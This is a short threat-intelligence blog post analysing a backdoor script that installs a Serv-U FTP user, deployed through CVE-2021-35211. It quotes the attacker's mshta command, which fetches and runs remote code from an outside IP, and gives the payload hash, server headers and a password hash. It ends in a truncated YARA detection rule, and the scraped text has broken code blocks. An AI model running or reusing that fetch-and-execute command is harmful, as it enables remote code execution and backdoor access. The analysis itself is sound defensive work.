# Triage analysis of Serv-U FTP user backdoor deployed by CVE-2021-35211
**[cadosecurity.com/post/triage-analysis-of-serv-u-ftp-user-backdoor-deployed-by-cve-2021-35211](https://www.cadosecurity.com/post/triage-analysis-of-serv-u-ftp-user-backdoor-deployed-by-cve-2021-35211)**
## Blog
July 14, 2021
July 14, 2021
## Last night, Microsoft published a blog titled Microsoft discovers threat actor targeting SolarWinds Serv-U software with 0-day exploit:
“MSTIC has observed DEV-0322 targeting entities in the US Defense Industrial Base Sector and software companies …. This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure.”
One of the malicious commands the attacker ran that Microsoft shared is:
```
C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a
We took a very quick look at the file 8785f1049eed4f837e634bf61468e6db921368b61ef5c8b4afa03f44465bd3e0 – served from http://144.34.179[.] 162/a – below.
The server is down now, but was previously serving over port 80 from an Apache web-server set to the Chinese language:
HTTP/1.1 403 Forbidden
Date: Sat, 26 Jun 2021 13:48:06 GMT
Server: Apache/2.4.37 (centos)
Content-Location: index.html.zh-CN
Vary: negotiate,accept-language
TCN: choice
Last-Modified: Fri, 14 Jun 2019 03:37:43 GMT
ETag: "fa6-58b405e7d6fc0;5c336bc7f4d1f"
Accept-Ranges: bytes
Content-Length: 4006
Content-Type: text/html; charset=UTF-8
Content-Language: zh-cn
```
-----
## And the script served is a relatively simple one:
```
The script is very simple- it just creates a new user with the following settings:
```
-----
## Set user creation date to: Thu May 27 2021 06:53:43 GMT 0000 (Unix timestamp of 1622098423) Password Hash: DDAC510D6348F0D1CA9D169BF3835DCE1EC5A7AE344964F2DA753991D34C015DEB91B64437A9C99A2AE8EC3CD850694F
Based on the filename, we believe this user created is called “tory” however we haven’t tested this on a live Serv-U installation.
Yara Rule
```
rule Malware_ServU_User_Installer {
meta:
description = "Detects malicious script deployed via CVE-2021-35211"
author = "[email protected]"
date = "2021-07-14"
hash = "8785f1049eed4f837e634bf61468e6db921368b61ef5c8b4afa03f44465bd3e0"
license = "Apache License 2.0"
strings:
$ = "